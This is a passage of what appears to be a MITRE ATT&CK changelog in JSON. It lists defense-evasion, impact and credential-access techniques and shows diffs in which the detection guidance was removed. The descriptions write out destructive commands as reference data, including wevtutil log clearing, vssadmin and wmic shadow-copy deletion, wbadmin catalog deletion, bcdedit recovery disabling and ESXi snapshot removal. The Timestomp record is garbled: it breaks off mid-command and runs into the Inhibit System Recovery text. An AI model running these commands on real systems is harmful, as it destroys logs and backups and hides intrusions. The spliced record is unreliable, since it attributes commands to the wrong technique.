"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Deletion\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.441000+00:00\", \"old_value\": \"2025-04-15 21:56:45.103000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1029: Remote Data Storage",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Deletion)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0520: Behavioral Detection of Log File Clearing on Linux and macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-28 17:05:14.707000+00:00",
"modified": "2025-10-24 17:48:52.287000+00:00",
"name": "Clear Windows Event Logs",
"description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\n\nWith administrator privileges, the event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001). For example, adversaries may use the PowerShell command Remove-EventLog -LogName Security to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the .evtx file between the time the command is run and the reboot.(Citation: disable_win_evt_logging)\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/001",
"external_id": "T1070.001"
},
{
"source_name": "disable_win_evt_logging",
"description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
"url": "https://ptylu.github.io/content/report/report.html?report=25"
},
{
"source_name": "Microsoft Clear-EventLog",
"description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.",
"url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog"
},
{
"source_name": "Microsoft EventLog.Clear",
"description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.",
"url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx"
},
{
"source_name": "Microsoft wevtutil Oct 2017",
"description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.",
"url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Lucas Heiligenstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Deletion\", \"Process: OS API Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.287000+00:00\", \"old_value\": \"2025-04-15 19:58:36.700000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \\\"The audit log was cleared\\\").\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1029: Remote Data Storage",
"M1041: Encrypt Sensitive Information"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Deletion)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0532: Detection of Event Log Clearing on Windows via Behavioral Chain"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-31 12:35:36.479000+00:00",
"modified": "2025-10-24 17:49:27.978000+00:00",
"name": "File Deletion",
"description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well.(Citation: Microsoft SDelete July 2016) Examples of built-in [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) functions include del on Windows, rm or unlink on Linux and macOS, and `rm` on ESXi.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/004",
"external_id": "T1070.004"
},
{
"source_name": "Microsoft SDelete July 2016",
"description": "Russinovich, M. (2016, July 4). SDelete v2.0. Retrieved February 8, 2018.",
"url": "https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Walker Johnson"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.978000+00:00\", \"old_value\": \"2025-04-15 19:59:12.733000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Deletion)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0140: Behavioral Detection of Malicious File Deletion"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-31 12:39:18.816000+00:00",
"modified": "2025-10-24 17:49:11.691000+00:00",
"name": "Network Share Connection Removal",
"description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1070/005",
"external_id": "T1070.005"
},
{
"source_name": "Technet Net Use",
"description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
"url": "https://technet.microsoft.com/bb490717.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Process: Process Creation\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.691000+00:00\", \"old_value\": \"2025-04-16 20:37:18.727000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Authentication)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0029: Network Traffic (Network Traffic Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0103: Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-31 12:42:44.103000+00:00",
"modified": "2025-10-24 17:48:43.937000+00:00",
"name": "Timestomp",
"description": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \u201cdouble timestomping\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no\n* REAgentC.exe can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* diskshadow.exe can be used to delete all volume shadow copies on a system - diskshadow delete shadows all (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1490",
"external_id": "T1490"
},
{
"source_name": "Dark Reading Code Spaces Cyber Attack",
"description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.",
"url": "https://www.darkreading.com/attacks-breaches/code-hosting-service-shuts-down-after-cyber-attack"
},
{
"source_name": "FireEye WannaCry 2017",
"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
"url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
},
{
"source_name": "Cybereason",
"description": "Cybereason Nocturnus. (n.d.). Cybereason vs. BlackCat Ransomware. Retrieved March 26, 2025.",
"url": "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware"
},
{
"source_name": "Talos Olympic Destroyer 2018",
"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
"url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
},
{
"source_name": "Diskshadow",
"description": "Microsoft Windows Server. (2023, February 3). Diskshadow. Retrieved November 21, 2023.",
"url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow"
},
{
"source_name": "Crytox Ransomware",
"description": "Romain Dumont . (2022, September 21). Technical Analysis of Crytox Ransomware. Retrieved November 22, 2023.",
"url": "https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware"
},
{
"source_name": "Rhino Security Labs AWS S3 Ransomware",
"description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.",
"url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"
},
{
"source_name": "ZDNet Ransomware Backups 2020",
"description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.",
"url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"
},
{
"source_name": "disable_notif_synology_ransom",
"description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.",
"url": "https://x.com/TheDFIRReport/status/1498657590259109894"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Yonatan Gotlib, Deep Instinct",
"Austin Clark, @c2defense",
"Pallavi Sivakumaran, WithSecure",
"Joey Lei",
"Harjot Shah Singh"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Containers",
"ESXi",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.6",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Cloud Storage: Cloud Storage Deletion\", \"Command: Command Execution\", \"Service: Service Metadata\", \"Snapshot: Snapshot Deletion\", \"File: File Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.297000+00:00\", \"old_value\": \"2025-04-15 19:59:22.100000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\\n\\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\PreviousVersions\\\\DisableLocalPage).\\n\\nFor network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, bcdedit, REAgentC, and diskshadow. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\\n-\\n-Monitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\PreviousVersions\\\\DisableLocalPage).\\n-\\n-For network infrastructure devices, collect AAA logging to monitor for `erase`, `format`, and `reload` commands being run in succession.\"}}}",
"previous_version": "1.6",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1028: Operating System Configuration",
"M1038: Execution Prevention",
"M1053: Data Backup"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0010: Cloud Storage (Cloud Storage Deletion)",
"DS0017: Command (Command Execution)",
"DS0019: Service (Service Metadata)",
"DS0020: Snapshot (Snapshot Deletion)",
"DS0022: File (File Deletion)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0329: Behavioral Detection for T1490 - Inhibit System Recovery"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:48.323000+00:00",
"modified": "2025-10-24 17:49:17.884000+00:00",
"name": "Input Capture",
"description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1056",
"external_id": "T1056"
},
{
"source_name": "Adventures of a Keystroke",
"description": "Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
"url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"John Lambert, Microsoft Threat Intelligence Center"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Creation\", \"Module: Module Load\", \"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Metadata\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Driver: Driver Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:17.884000+00:00\", \"old_value\": \"2025-04-15 19:59:02.160000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0011: Module (Module Load)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0102: Behavioral Detection of Input Capture Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 19:01:15.930000+00:00",
"modified": "2025-10-24 17:49:37.119000+00:00",
"name": "Credential API Hooking",
"description": "Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials.(Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. \n\nIn Windows, hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.(Citation: Microsoft Hook Overview)(Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored.(Citation: Elastic Process Injection July 2017)(Citation: Adlice Software IAT Hooks Oct 2014)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.(Citation: Elastic Process Injection July 2017)(Citation: HighTech Bridge Inline Hooking Sept 2011)(Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nIn Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program\u2019s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.(Citation: Intezer Symbiote 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1056/004",
"external_id": "T1056.004"
},
{
"source_name": "EyeofRa Detecting Hooking June 2017",
"description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
"url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
},
{
"source_name": "Zairon Hooking Dec 2006",
"description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
"url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
},
{
"source_name": "GMER Rootkits",
"description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
"url": "http://www.gmer.net/"
},
{
"source_name": "MWRInfoSecurity Dynamic Hooking 2015",
"description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
"url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
},
{
"source_name": "Elastic Process Injection July 2017",
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"source_name": "Intezer Symbiote 2022",
"description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
"url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
},
{
"source_name": "HighTech Bridge Inline Hooking Sept 2011",
"description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved November 17, 2024.",
"url": "https://www.scribd.com/document/68671361/Inline-Hooking-in-Windows"
},
{
"source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
"description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.",
"url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
},
{
"source_name": "Microsoft Hook Overview",
"description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
},
{
"source_name": "Microsoft Process Snapshot",
"description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
"url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
},
{
"source_name": "PreKageo Winhook Jul 2011",
"description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
"url": "https://github.com/prekageo/winhook"
},
{
"source_name": "Jay GetHooks Sept 2011",
"description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
"url": "https://github.com/jay/gethooks"
},
{
"source_name": "StackExchange Hooks Jul 2012",
"description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
"url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
},
{
"source_name": "Adlice Software IAT Hooks Oct 2014",
"description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
"url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
},
{
"source_name": "Volatility Detecting Hooks Sept 2012",
"description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
"url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "1.2",
